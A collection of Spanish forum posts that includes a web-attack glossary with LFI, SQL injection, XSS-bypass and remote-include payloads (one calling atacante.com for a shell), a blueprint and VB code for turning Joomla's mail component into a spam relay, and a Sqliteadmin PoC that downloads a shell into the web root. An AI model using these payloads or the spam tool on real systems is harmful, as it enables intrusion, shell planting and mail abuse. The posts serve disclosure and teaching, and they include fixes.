    Este tipo de vulnerabilidad se puede solucionar agregando in identificador único a una acción, por ejemplo una serie de carácteres llamados token donde cada usuario tiene su propio token de forma oculta, entonces cuando necesites salir dirá http://foro.com/salir&token=fyr3ry78g y si el atacante no conoce ese token no podra hacer que se ejecute esa acción de forma arbitraria.

    Enlaces de ayuda:
  • http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery



    XSRF
    Sinónimo de CSRF (Vease CSRF) con la diferencia de anteponer X en ves de C debido a que se atribuye la X a la palabra "Cross" y evitar la confusión que se producía con las siglas XSS (Vease XSS).



    Null Bite Attack
    El carácter nulo se usa en muchas ocasiones. Como el carácter nulo determina el término de un string puede ser utilizado en fallas de programación WEB, por ejemplo algunas funciones de php tales como include() puedes decirle que un string termine en carácter nulo, por ejemplo
    Código (php) [Seleccionar]
    <?php include('test/archivo.php%00basuraetcetc'); ?>

    Incluirá solamente hasta archivo.php ya que le corté el string en %00, ahora %00 es un carácter nulo en formato urlencode, o sea que puedo pasarlo en una petición GET o POST pero si quisiera testearlo directamente en el archivo tendría que hacer esto:
    Código (php) [Seleccionar]
    <?php include('test/archivo.php'."\x00".'basuraetcetc'); ?>

    Ahora, esto le puede servir a un atacante para hacer LFI (Local file inclusion).
    Supongamos este caso:
    Código (php) [Seleccionar]
    <?php include('secciones/'.$_GET['pagina'].'.php'); ?>

    Entonces yo podría decir test.php?pagina=contacto y la inclusión quedaría
    Código (php) [Seleccionar]
    <?php include('secciones/contacto.php'); ?>

    Pero si le pongo un carácter nulo para que corte el string quedaría así:
    test.php?archivo=../../../../../../../../../../etc/passwd%00
    Código (php) [Seleccionar]
    <?php include('secciones/../../../../../../../../../../etc/passwd%00.php'); ?>

    por lo tanto me devolverá el archivo de sesiones de usuarios de ese servidor.

    Enlaces de ayuda:
  • http://en.wikipedia.org/wiki/Null_character
  • http://ha.ckers.org/blog/20060914/php-vulnerable-to-null-byte-injection/
  • http://www.webcomparte.com/foro/programacion-en-php/para-que-sirve-un-caracter-nulo/
  • http://projects.webappsec.org/Null-Byte-Injection



    Disclosure
    Disclosure es español significa el "Descubrimiento" de algo, pero en el caso de una definición de seguridad WEB se traduce en el descubrimiento de datos de forma arbitraria (Vease Arbitrario), por ejemplo en PHP o JSP si un sistema WEB no tiene una buena programación puede causar que se vean cosas como estas:
    CitarWarning: Unexpected character in input: ''' (ASCII=39) state=1 in C:\wamp\www\test.php on line 2

    aunque este mensaje no nos dice mucho del sitio WEB si lo hace el escape de información ya que nos indica en que lugar está alojado el archivo, en este caso está en "c:\wampp\www\" por lo tanto un atacante podrá saber mejor como realizar un futuro ataque.

    Ejemplos de Disclosure:
  • http://www.vsantivirus.com/vul-phpbb206.htm
  • http://www.insecurity.cl/2009/09/28/full-path-disclosure-en-la-mayoria-de-los-plugins-de-wordpress/

    Enlaces de ayuda:
  • http://www.acunetix.com/vulnerabilities/Full-path-disclosure.htm
  • http://www.owasp.org/index.php/Full_Path_Disclosure



    Path disclosure
    Es el descubrimiento de uno o mas directorios debido a una falla de programación WEB (Vease Disclosure)



    Full path disclosure
    Cuando es Full path disclosure significa que se pueden descubrir todos los directorios del sitio WEB afectado (Vease Path Disclosure).



    File disclosure
    Quiere decir que se pueden descubrir los contenidos de archivos dentro del servidor WEB a diferencia del Path disclosure que solamente puede descubrir directorios (Vease Disclosure).



    Inyección SQL
    Yambién llamado como SQL Inyection y SQLI.
    Para poder entender un poco el significado de inyección SQL primeramente debes saber por lo menos que significa SQL (Vease MySQL y MSSQL).
    Generalmente una base de datos es un grupo de información guardada en un Servidor y este recibe instrucciones de lo que debe hacer y aquellas instrucciones las da el sistema WEB que en este caso es la página WEB.

    Por ejemplo el sitio web WEB le dice al servidor de la base de datos:
    CitarGuarda "pedro" en el listado de nombres

    Entonces cuando te creas una cuenta donde dice tu nombre puedes ponerle otras instrucciones, por ejemplo en ves de poner "pedro" le pondré "pedro y digame cual es la contraseña del administrador", entonces la consulta que le hace el servidor WEB a la base de datos es esta:
    CitarGuarda pedro y digame cual es la contraseña del administrador en el listado de nombres

    Por lo tanto hacemos consultas arbitrarias.

    Para programadores cuando tienes una consulta de este tipo:
    Código (sql) [Seleccionar]
    select * from users where user = '$user' and pass = '$pass'
    Yo puedo poner de nick lo que sea y en pass pongo
    Citar' union select 1,2 where id_user = '1
    Por lo tanto primero valido la primera query y sin romperla hago un segundo select con union escribiendo la cantidad de columnas a retornar donde el id de usuario es uno o sea por defecto en casi todos los sistemas webs "el administrador".



    Blind Inyección SQL
    Vease primeramente "Inyección SQL".
    También conocido como Inyección Ciega o Inyección a Ciegas.
    Se trata de una vulnerabilidad en un sistema que puede ser WEB en el cual no ves ningún dato debuelto por dicha inyección, por lo tanto no ves tablas, columnas, nada y se hace sabiendo que se está ejecutando.
    Un ejemplo práctico sería una inyección de este tipo:
    Código (applescript) [Seleccionar]
    test.php?id=-1' and substring(@@versión,1,1)='4
    En este caso logramos saber la versión de la base de datos MySQL sin que nos debuelva ningún tipo de información pero si podemos ver si se ejecuta o no.

    Enlaces de ayuda:
  • http://foro.elhacker.net/nivel_web/caso_01_blind_sql_inyection_con_descarga_forzada-t244378.0.html
  • http://foro.elhacker.net/hacking_avanzado/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html



    Inyección MSSQL Concateada
    Vulnerabilidad de tipo Inyección SQL (Vease inyección SQL) que es posible llevarse a cabo devido a una falla de programación en el servidor de MS ISS (Microsoft Internet Services) la cual consiste en lo siguiente:
    Citartest.php?id=1&id=2
    Normalmente en Apache esto se interpreta como una sola variable tomando como válida la última y desechando las anteriores, o sea que id vale "2" pero esto no sucede así en ISS:
    Citartest.aspx?id=1&id=2
    el servidor interpretará los dos valores y para enviarlos al script final concateará ambas variables, o sea que id será "1,2".
    Esta vulnerabilidad puede ser aprobechada para evdadir sistemas de protección concateando strings filtrados o devolviendo valores extras.



    CMS
    Content Management System o en español sistema de administración de contenido.
    Son sistemas WEBs dinámicos capaces de gestionar diferentes tipos de contenidos de forma automatizada. Algunos de estos sistemas dinámicos pueden ser:
    Simple Machines Forum, Joomla, Moodle, Wordpress, PHP-Nuke, E-107, VBulletín, IPBoard, etc.

    Enlaces descriptivos:
  • http://www.google.cl/search?hl=es&q=define%3Acms&btnG=Buscar+con+Google&meta=&aq=f&oq=
  • http://es.wikipedia.org/wiki/Sistema_de_gesti%C3%B3n_de_contenido



    Código PHP
    Es un lenguaje de programación que se utiliza para construir sitios webs automatizados e interactivos.
    Antiguamente era utilizado CGI como lenguaje común basado en Perl que interactúa con servidores WEB.
    Hoy los lenguajes mas utilizados para sitios webs dinámicos son PHP, .NET (Framework de Microsoft), CGI/Perl y Python pero entre todos ellos el mas utilizado es PHP.

    Para crear nuestri primer ejemplo en php se necesita un servidor (no el físico) y el mas utilizado es "Apache" ya que php solamente es un interprete de código que puede ser utilizado en sitios webs como también via consola directamente como interprete scripting.
    Apache contiene una extensión que hace interactuar PHP con el mismo, de esta forma nosotros podemos decir http://servidor/archivo.extension?variable1=valor1 y apache interpretará esto y le enviará a PHP los valores de variables globales tales como $_GET y $_POST.

    Enlaces relacionados:
  • http://php.net/
  • http://es.wikipedia.org/wiki/PHP
  • http://tutorialphp.net/
  • http://www.google.cl/search?hl=es&q=manual+php
  • http://www.google.cl/search?hl=es&q=define%3Aphp



    Cookies
    Antiguamente malconocidos como SpyWares porque se pensaba que solo servían para espiar o robar datos de una pc.

    Una cookie es donde el servidor puede guardar información de cualquier tipo en tu explorador.

    Algunos sitios webs utilizan esta información para saber quien eres y poder identificarte al momento de crear una sesión.

    Las cookies las establece el servidor y el explorador solamente las administra y le entrega a cada sitio las cookies que le correspondan unicamente.

    Por ejemplo si yo engro a foro.elhacker.net e ingreso con mi cuenta de usuario este creará una cookie en mi explorador que almacenará mis datos de acceso, de esta forma el servidor sabrá que yo soy WHK y no un visitante cualquiera, ahora esta cookie solamente se entregará al servidor de elhacker.net pero si yo voy a google.com no mostrará esta cookie ya que cada cookie tiene su servidor y ningún servidor puede obtener la cookie de otro, esto es privacidad de datos y seguridad.

    Antiguamente las cookies en Internet explorer se basaban en una cookie por archivo txt, ahora en Firefox todas las cookies se almacenan en un mismo archivo sin perder su funcionalidad ya que el mismo firefox se encarga de administrarlas.

    Si quieres saber cuales son tus cookies en un sitio web ve a el y pon esto en tu barra del explorador:
    javascript:alert(document.cookie);

    En Firefox tienes complementos que te permiten modificar dichas cookies y probar la seguridad de tu sitio web, por ejemplo Add N Edit Cookies
    https://addons.mozilla.org/es-ES/firefox/addon/573

    Actualmente para Internet explorer no se conoce ninguno debido a que sus complementos son de código cerrado.

    Enlaces relacionados:
  • http://es.wikipedia.org/wiki/Cookie
  • http://www.geocities.com/SiliconValley/Way/4302/cookies.html



    Código arbitrário
    O tambien "Remote Execution".
    Se refiere a la frase completa: Acción sobre el código de forma arbitrária y significa que se realiza una acción como puede ser una edición, ejecución, etc. De código significa que esto se efectúa sobre el código de programación (vease programación). Arbitrario significa que puede realizarse sin el consentimiento de la persona y también sin que se de cuenta.
    Cuando se dice que es de forma remota significa que un atacante o individuo puede causar esta acción desde fuera de su propia red de conexión. Un ejemplo práctico sería yo como atacante hago que ejecutes una acción en tu pc, como es a distancia es remoto, en caso contrario sería de forma local.

    Enlaces relacionados:
  • http://foro.elhacker.net/nivel_web/multiples_vulnerabilidades_en_sqliteadmin_120-t260867.0.html



    0-Day
    Conocido también como "Zero-Day" o "Dia Cero"
    Vulnerabilidad descubiera por primera ves sin tener ninguna solución oficial por parte del creador del sistema afectado. Por lo general un 0-day es una vulnerabilidad descubierta y publicada en el mismo dia aunque no siempre sucede.

    Enlaces relacionados:
  • http://en.wikipedia.org/wiki/Zero_day
  • http://www.zdnet.com/
  • http://www.vsantivirus.com/06-12-05.htm



    Desface
    Conocido también como "Deface" pero mal escrito.
    Se le dice de esta forma al ataque hacia un sitio web el cual consiste en la modificación deliverada de información probocado por una vulnerabilidad, bug, etc. Esta modificación es permanente ya que en caso contrario es declarado simplemente un XSS (Vease "XSS").

    Enlaces de ejemplos:
  • http://zone-h.org/archive/special=1



    Desfacing
    Conocido también como "Defacing" pero mal escrito.
    Acción de desfacear. Vease "Desface".



    Bypass
    Se le dice Bypass a un método que puede eludir algún tipo de sistema de protección, por ejemplo cuando se dice "Hacer Bypass al filtro anti XSS" Significa que hubo un sistema que estaba preparado para resistir ataques de tipo XSS pero por algún motivo devido a problemas de seguridad y/o de programación pudo ser eludido haciendo cuentas como que el sistema de protección no existiera.

    Ejemplos prácticos:
    Sistema de protección anti-XSS dice (Vease XSS) -->
    Código (php) [Seleccionar]
    <?php $palabra str_replace('<script>','',$_GET['palabra']); echo $palabra?>
    El atacante hace un Bypass -->
    test.php?palabra=<sc<script>ript>alert(document.cookie);</script>
    El sistema de protección borra la palabra de color rojo --->
    <sc<script>ript>alert(document.cookie);</script>
    Queda así -->
    <script>alert(document.cookie);</script>

    Son formas de eludir un sistema de protección para provocar una vulnerabilidad en el sistema independiente si pueda ser aprobechado o no.

    Otro ejemplo:
    Sistema de protección anti-RFI (Vease RFI):
    Código (php) [Seleccionar]
    <?php
    if(eregi('http://'$_GET['path'])){
     die(
    'Esto es un ataque'); 
    }else{
     include(
    $_GET['path'].'.php');
    }
    ?>

    El atacante dice:
    test.php?path=ftp://atacante.com/shell.txt?x=
    Entonces el sistema hace un include de esta forma:
    include('ftp://atacante.com/shell.txt?x=.php');
    Pero como include realiza las conexiones via ftp y ftp necesita de un usuario y contraseña se lo deshabilitamos o habilitamos ftp anónimo o usamos un servidor local o si conoces el protocolo ftp puedes hacerlo hasta con netcat o utilizando sockets poniendolos a escucha para el que sepa programar.

    Enlaces relacionados:
  • http://www.milw0rm.com/exploits/9399
  • http://www.securityfocus.com/bid/9658/discuss
  • http://seclists.org/bugtraq/2005/Dec/0158.html



    Exploit
    Muchas veces mal confundido con "Xploit".
    Un Xploit es un sistema que envía correos a otras personas para robarles sus datos personales engañandolos pidiendoles su propia contraseña.
    Un exploit es sun Software, Script o cualquier cosa que pueda aprovechar una vulnerabilidad de cualquier tipo de sistema para provecho de algo o alguien.

    Ejemplos de Exploits:
  • http://milw0rm.com/exploits/9394
  • http://www.packetstormsecurity.org/0908-exploits/blazedvd-overflow.txt



    PoC
    Significa en ingles "Proof Of Concept" o Prueba de concepto, el cual es muy similar a un Exploit (Vease Exploit antes de continuar) pero con la diferencia que un exploit está diseñado para aprovechar las vulnerabilidades en beneficio de algo o alguien y el PoC solo demuestra que realmente se puede comprobar que la vulnerabilidad o Bug existe.

    Ejemplos de PoCs:
  • http://milw0rm.com/exploits/9431
  • http://seclists.org/bugtraq/2009/Aug/0016.html
  • http://seclists.org/bugtraq/2009/Aug/0107.html



    MySQL
    Sistema de base de datos de código libre y gratuito con soporte en tanto para Linux como también para MS Windows.
    Es un sistema que es capaz de gestionar información almacenada de forma interna en archivos y directorios, su organización es su fuerte y puede ser utilizado en sistemas webs como en sistemas ejecutables.
    Por ejemplo si tengo un sitio web de música puedo administrar el contenido de todos mis tracks ordenados por asutor, fecha, hacer busquedas, eliminar, crear, etc.
    Este sistema es utilizado comunmente en el lenguaje web llamado PHP que puede servir para la administración del contenido del sitio.

    Enlaces relacionados:
  • http://foro.elhacker.net/php/scripts_phpmysql-t48315.0.html
  • http://es.wikipedia.org/wiki/MySQL
  • http://www.mysql.com/



    MSSQL
    Sistema de base de datos utilizado en servidores de MS Windows similar a MySQL (Vease MySQL) pero con una sintaxis de programación similar aunque no igual.
    La diferencia mas notable al momento de observar un sitio web vulnerable a inyección SQL (Vease Inyección SQL) es que en MSSQL puedes ejecutar comandos directamente sobre la shell del Sistema Operativo haciendolo mas vulnerable a una intrusión por escalación de privilegios.

    Enlaces relacionados:
  • http://www.microsoft.com/sqlserver/



    Arbitrario
    Si se dice que ocurrió una acción de forma arbitraria quiere decir que fue ejecutado sin el consentimiento de la persona que se afectó.
#337
Utilizando Joomla como servidor de correos masivos

Bueno, ya hace bastante tiempo habia hecho un post detallando varias fallas de joomla de las cuales casi todas fueron reparadas.

Con el tiempo le envié un correo al soporte para que pudieran reparar otras nuevas fallas pero nunca respondieron y nunca los repararon tampoco jajajaja, será que les digo las cosas y lo toman a la ligera no se.

La otra ves publiqué el xss en el buscador y no lo parcharon hasta que publiqué un video de como subir una shell c99 desde ese xss, entonces ahi si lo repararon.

Ahora como piensan que estos bugs no son àra nada comprometedores les mostraré como crear un software para utilizar cualquier sitio web con joomla como servidor de correos masivos pero ojo que no publicaré ningún software hecho para evitar que cualquiera haga de las suyas ya que causa un desmadre al servidor.

Detalles técnicos
La falla está en el componente "MailTo" alias el "com_mailto".
No se si han visto que en algunos sitios webs que funcionan con joomla tienen tres íconos al lado del encabezado del mensaje de la portada... uno que es para imprimir, exportar en pdf y otro para enviar el tema por correo a un amigo como tipo de recomendación.
El problema esque este componente no exige captcha (imagen de verificación) por lo cual una automatización sería técnicamente posible asi que manos a la obra...

Primero que nada cuando enviamos un mail nos encontramos con la siguiente cabezera:
CitarPOST / HTTP/1.1
Host: localhost
Referer: http://localhost/index.php?option=com_mailto&tmpl=component&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8
Connection: Close
Cookie: 587e9de7c92cfd61e9b49249c8c904ec=3vq6lpo7v4gpg3uutvgot954k7;
Content-Type: application/x-www-form-urlencoded
Content-Length: 954

mailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&
428e4678e31b0b08571b7f7d2cb9cd4a=1&layout=default&option=com_mailto&task=send&tmpl=component

Acá podemos ver muchas cosas que son importantes y que le sirve a joomla para verificar que no seamos un bot.

1. Primero podemos ver el referer, asi que hay que tomarlo en cuenta al momento de enviar la petición, luego vemos que dentro del referer hay una serie de carácteres bién largo justo donde dice "link"... ese valor es la url que se enviará por correo diciendo a tu amgo que le haga click porque yo se la recomendé pero está cifrada en base64.

2. Ahora vemos una cookie con doble hash eso significa que tanto el valor como la variable son hashes aleatorios intentando entre comillas evadir una automatización ya que supuestamente el nombre de la cookie va al azar asi que "pienso" que se habrán roto la cabeza pensando que una cookie al azar podría evitar la captura del mismo limitando al usuario a utilizar solamente el explorador, pues bién... la capturamos y la utilizamos asi que ya sabemos que se necesita el referer, el link en base64 y la cookie con doble hash.

3. Vemos un token de verificación en la variable post y al igual que la cookie este es un hash al azar pero no es su contenido sinó en su nombre y de valor tiene un "1":
Citarmailto=amigo%40gmail.com&sender=yo&from=yo%40hotmail.com&subject=Tema&link=aHR0cDovLzEyNy4wLjAuMS9qb29tbGEvaW5kZXgucGhwP29wdGlvbj1jb21fY29ud
GVudCZ2aWV3PWFydGljbGUmaWQ9NDU6am9vbWxhLWNvbW11bml0eS1wb3J0YWw
mY2F0aWQ9MTpsYXRlc3QtbmV3cyZJdGVtaWQ9NTA=&428e4678e31b0b0
8571b7f7d2cb9cd4a=1
&layout=default&option=com_mailto&task=send&
tmpl=component
Normalmente la gente está acostumbrada a localizar el valor de un token por su nombre pero en este caso es solo cosa de verificar un input que tenga el valor de "1" y que su nombre contenga 32 carácteres que es la cantidad exacta de un hash en MD5.

4. Antes de enviar todo esto hay que recordar que se necesta hacer una petición GET a la página para obtener la cookie de antemano o como sabremos cual enviar, también pasa con el token y lo demás asi que solicitamos la web pero cuando queremos enviar el formulario nos va a decir que fue imposible su envío y esto se debe a que joomla te fuerza a esperar 20 segundos aproximadamente entre que te dan el token y lo usas asi que ya tenemos el referer, la cookie con doble hash, el link en base64, el token anticsrf y el tiempo de espera.

Ahora con estos 4 puntos que debería hacer evitar un envío automatizado desde un bot o lo que sea nos encontramos con dos bugs, el primero es lo que ya vieron (no usa captcha) y el segundo esque cuando pasas los 20 segundos de espera te añade un token en tu sesión de cookie que dice que ya terminó t espera de 20 segundos pero lo que no verifica esque que pasa si vuelvo a enviar otro correo, en ese caso ya no me hará esperar porque mi cookie dice que yo ya esperé asi que solo debo esperar 20 segundos para enviar mis veintemil cuatrocientos noventa y un correos seguidos a los destinatarios que yo quiera porque el hash de la cookie y el token anticsrf no cambia en cada envío asi que puedo modificar cualquier dato del mail.

Pseudo-código
El software pide los siguientes datos:
url_del_joomla
para_email
de_nombre
de_correo
asunto_de_correo
X_Hilos
mensaje_al_mamahuevo[255]
/* de 255 carácteres porque esto irá en la petición GET asi que no debe sobrepasar la cantidad de carácteres límite de apache */

/* Inicia el proceso de recaudación de datos iniciales */
url = directorio(url_de_joomla) // Obtiene el directorio del joomla
host = servidor(ur_de_joomla) // Obtiene el nombre de dominio del url
Socket1 conecta a url_del_joomla puerto 80 protocolo TCP
Socket1 Envía los siguientes datos ->  // Protocolo HTTP -->
GET " +  url + "index.php?option=com_mailto&tmpl=component&link=" + urlencode(base64_encode(mensaje_al_mamahuevo)) + " HTTP/1.1" + (un salto de linea) +
"Host: " +  host + (un salto de linea) +
"Connection: close" + (un salto de linea) +
"User-Agent: Agente de usuario a gusto" + (dos saltos de linea)

Buffer = Recibe los datos debueltos por el socket
Cookie = función obtiene cookies (Buffer)
Token = función obtiene Token (Buffer)

Si la cookie tiene menos de 40 carácteres entonces es inválido y finaliza
/* Porque es n hash de 32 carácteres mas un pequeño hash desde 10 a 30 carácteres. */

Si el token no es de 32 carácteres entonces es inválido y finaliza
/* Porque un hash md5 es de 32 carácteres */

Esperar 20 segundos

Inicio del Loop
Crear hilo de proceso con lo siguiente{ /* Con un máximo de X_hilos (por defecto usar 100)*/
 Inicio del Segundo Loop
  Si de_nombre es igual a "azar" entonces el de_nombre son 7 carácteres alfanuméricos al azar
  Si de_correo es igual a "azar" entonces el de_correo son 7 carácteres alfanuméricos al azar + "@" + el servidor que yo quiera pero que sea conocido
  Si el asunto es igual a "azar" entonces el asunto es igual a 7 carácteres alfanuméricos al azar

  Crea un nuevo Socket y lo conecta a url_de_joomla puerto 80 Protocolo TCP
 PostData es igual a -->
 "mailto=" + URLEncode(para_email) + (un salto de linea) +
 "&sender=" + URLEncode(de_nombre) + (un salto de linea) +
 "&from=" + URLEncode(de_correo) + (un salto de linea) +
 "&subject=" + URLEncode(asunto) + (un salto de linea) +
 "&link=" + URLEncode(EncodeStr64(Text9.Text)) + (un salto de linea) +
 "&" + URLEncode(Text11.Text) + "=1" + (un salto de linea) +
 "&layout=default&option=com_mailto&task=send&tmpl=component"

 El Socket creado envía lo siguiente ->
 "POST " + url + " HTTP/1.1" + (un salto de linea) +
 "Host: " + host + (un salto de linea) +
 "Referer: http://" + host + url + "index.php?option=com_mailto&tmpl=component&link=" + URLEncode(EncodeStr64(mensaje_al_mamahuevo)) + (un salto de linea) +
 "User-Agent: a elección pero que sea el mismo que el anterior" + (un salto de linea) +
 "Connection: Close" + (un salto de linea) +
 "Cookie:" + cookies + (un salto de linea) +
 "Content-Type: application/x-www-form-urlencoded" + (un salto de linea) +
 "Content-Length: " + cantidad de carácteres de PostData + (dos saltos de linea) +
 PostData + (dos saltos de linea)

Cuando se desconecte volver al SegundoLoop
}
Final del Loop


Al final debería quedar algo así:


No puedo poner el binario o la fuente directamente pero pondré el módulo hecho en visual basic para capturar el token y la cookie:

Código (vb) [Seleccionar]
Public Function Obtener_Token(Buffer As String) As String
Dim Hash As String
Hash = InStr(1, Buffer, Chr(34) & " value=" & Chr(34) & "1" & Chr(34) & " />") ' " value="1" />
If Hash = 0 Then
Exit Function
Else
Obtener_Token = Mid$(Buffer, Int(Hash - 32), 32) ' Hash de 32 bites
End If
End Function

Public Function Obtener_Cookies(Buffer As String, Phpsessid_Off As Boolean) As String
Dim Temporal As String, Cookie As String
Rebuscar:
Cookie = InStr(1, Buffer, "Set-Cookie: ")
If Cookie = 0 Then
Exit Function
Else
Buffer = Mid$(Buffer, Cookie, Len(Buffer))
Cookie = InStr(1, Buffer, ";")
Temporal = Mid$(Buffer, 1, Cookie)
Buffer = Mid$(Buffer, Cookie, Len(Buffer))
Temporal = Replace(Temporal, "Set-Cookie: ", "")
If Phpsessid_Off = True Then
 If Not Eregi("phpsessid", LCase(Temporal)) Then Obtener_Cookies = Obtener_Cookies & " " & Temporal
Else
 Obtener_Cookies = Obtener_Cookies & " " & Temporal
End If
DoEvents
GoTo Rebuscar
End If
End Function

Public Function URLEncode(sRawURL As String) As String
   On Error GoTo Catch
   Dim iLoop As Integer
   Dim sRtn As String
   Dim sTmp As String
   Const sValidChars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz:._-(){}~"


   If Len(sRawURL) > 0 Then
       ' Loop through each char


       For iLoop = 1 To Len(sRawURL)
           sTmp = Mid(sRawURL, iLoop, 1)


           If InStr(1, sValidChars, sTmp, vbBinaryCompare) = 0 Then
               ' If not ValidChar, convert to HEX and p
               '     refix with %
               sTmp = Hex(Asc(sTmp))


               If sTmp = "20" Then
                   sTmp = "+"
               ElseIf Len(sTmp) = 1 Then
                   sTmp = "%0" & sTmp
               Else
                   sTmp = "%" & sTmp
               End If

           End If

           sRtn = sRtn & sTmp
       Next iLoop

       URLEncode = sRtn
   End If

Finally:
   Exit Function
Catch:
   URLEncode = ""
   Resume Finally
End Function

Public Function Eregi(Condicion As String, Buffer As String) As Boolean
If InStr(1, Buffer, Condicion) > 0 Then Eregi = True Else Eregi = False
End Function

Public Function Nick_Azar() As String
Nick_Azar = _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98) & _
Chr(Int(Rnd * 23) + 98)
End Function


al Obtener_Cookies le dan el bffer y le ponen como segunda variable un false para que devuelva la cookie que no es phpsessid y evita repeticiones de cookies como pasa en algunos sistemas como smf.

Y debería causar algo como esto:
http://img.drawcoders.net/index.php?acn=observar&idi=c8ce715057_spam.JPG

Pero está claro que es solo un ejemplo y que el software no no no no es real y es solo algo hecho en photoshop al igual que la otra captura :P
PD: Portalhack.us fue avisado y deshabilitaron ese componente asi que no los molesten.

Soy muy malo para hacer pseudocódigos asi que no reclamen por el source :xD , se que falta destruir variables y verificar datos numéricos en inputs, etc etc etc pero solo mostré lo básico de como hacerlo, el resto ya es imaginación.

Consecuencias
Hay muchas consecuencias y la mas fatal es que tu servidor puede quedar dentro de la lista negra de servidores de correos como gmail, yahoo, etc y todos los correos que provengan de tu servidor se irán directamente a la bandeja de spam tenga el contenido que sea y con eso tu servidor morirá para enviar correos (o como se dice, se va a quemar).
La otra consecuencia es que puede haber gente victima de bombardeos de miles de correos con destinatarios diferentes y harás colapsar a tu pobre amigo tratando de borrar tanto correo ya que tendrá que fijarse si entre esos correos hay alguno normal o tirará todo lo que le llegue a su papelera dejando inutilizable su correo sea cual sea, ya que mandarlo como spam no serviría porque el atacante puede usar cuanto servidor se le cruze.
El otro problema es que le baja el autoestima al programador por estar haciendo makinas de spam  :-[

También conversaba con un amigo sobre las consecuencias que podría llegar a causar esto ya que hay que tomar en cuenta que todos los correos llegan a la bandeja de entrada a menos que el servidor ya esté quemado pero de 100 talves uno no funcione, además podría cargarse un archivo de texto con correos y otro listado con sitios que usen joomla y tener una makina para espamear gratis sin kemar su propio server pero bueno, son cosas, desastres de la naturaleza hasta que lo reparen o aver si ahora si le dan importancia o simplemente comienze la gente a deshabilitar sus componentes.

Solución
Puedes integrarle una captcha a ese componente editando su código fuente para que acepte el valor del input de la captcha o simplemente deshabilita la opción de enviar email desde el menú de contenido yte vas a configuraciones, luego le das en no mostrar envío de email y pr si las dudas te vas a "instalar/desintalar" y deshabilitas el componente "com_mailto".


PD: en este tuto no salió ningún correo ni servidor dañado.
PD2:
GoogleDork: http://www.google.cl/search?hl=es&q=index.php%3Foption%3Dcom_content%26view%3Darticle%26id%3D+%26Itemid%3D&btnG=Buscar+con+Google&meta=&aq=f&oq=
#338
Bueno, encontré multiples vulnerabilidades en Sqliteadmin las cuales son las siguientes:



Remote Execution
Hay ejecución remota cuando vas a la sección de bases de datos y le haces click en cualqueir función, entonces editas una función y al guardarla ya se estará ejecutando el código automáticamente:

Conversado con una persona me decía que esto no es arbitrario ya que el sistema deja por defecto crear funciones, pero .... normalmente no debería ejecutarse todo código que se escriba, normalmente debería quedar encerrado en una clase publica de forma que si hay una ejecución forzada no debería ejecutarse hasta que la función realmente sea llamada o necesitada y no cargar todo en memoria como se hace actualmente dejando desprotegido el sistema, a mucho debería tener un input para dictar el nombre de la función y un filtro que verifique que todas las llaves están correctamente cerradas para evitar el escape hacia fuera de la función.
Debería?... nop, no debería.

PoC:
Código (php) [Seleccionar]
$shell = file_get_contents('http://host/mi_shell_aca');
$out = 'c:\\wamp\\www\\x.php';
if(file_exists($out)) unlink($out);
$h = fopen($out, 'x');
fwrite($h, $shell);
fclose($h);

Fijarse que en win los slash son dobles "\\" porque uno solo es escape de carácter, es como decir "^<" en batch.



CSRF

Citarhttp://censurado/sqlitemanager/main.php?dbsel=1
POST /sqlitemanager/main.php?dbsel=1 HTTP/1.1
Host: requetecensurado :p
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3,
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://censurado/sqlitemanager/main.php?dbsel=1&function=IF&action=modify
Cookie: PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx
Content-Type: application/x-www-form-urlencoded
Content-Length: 332
FunctName=IF&FunctType=1&FunctCode=echo+%27test%27%3B%0D%0Afunction+sqliteIf%28%24compare%2C+%24good%2C+%24bad%29%7B%0D%0A++++if+%28%24compare%29+%7B%0D%0A++++++++return+%24good%3B%0D%0A++++%7D+else+%7B+%0D%0A++++++++return+%24bad%3B%0D%0A++++%7D%0D%0A%7D&FunctFinalCode=&FunctNumArgs=3&FunctAttribAll=1&function=IF&id=1&action=save
No hay un token de verificación ni nada que impida la ejecución arbitraria de lo que al atacante se le antoje.



Path Disclosure
Puedes dar una ejecución arbitraria con error forzado y te arrojará un path disclosure:

La solución sería nunca mostrar error_reporting(E_ALL) en un sistema publicado.



Falta de Autificación
Como no hay un login de autentificación por defecto en este sistema pasa lo que pasa.



Consecuencias




Recomendaciones

Poner en un lugar mas inaccesible este sistema para que no pueda ser manipulado de forma externa y agregarle un login de seguridad como por ejemplo un auth de apache con htaccess.


Saludos.
#339
Desarrollo Web / Sacar IP con javascript
21 Junio 2009, 03:07 AM
Hace poco hubo un problema que pudo haber sido solucionado con esto.
La idea es poder saber si de alguna forma se puede saber la ip original desde javascript y hacer una comparación en php diciendo que si la ip otorgada por ajax no es igual al remote addr entonces es proxy y que guarde la ip original en un log de usuarios externo.

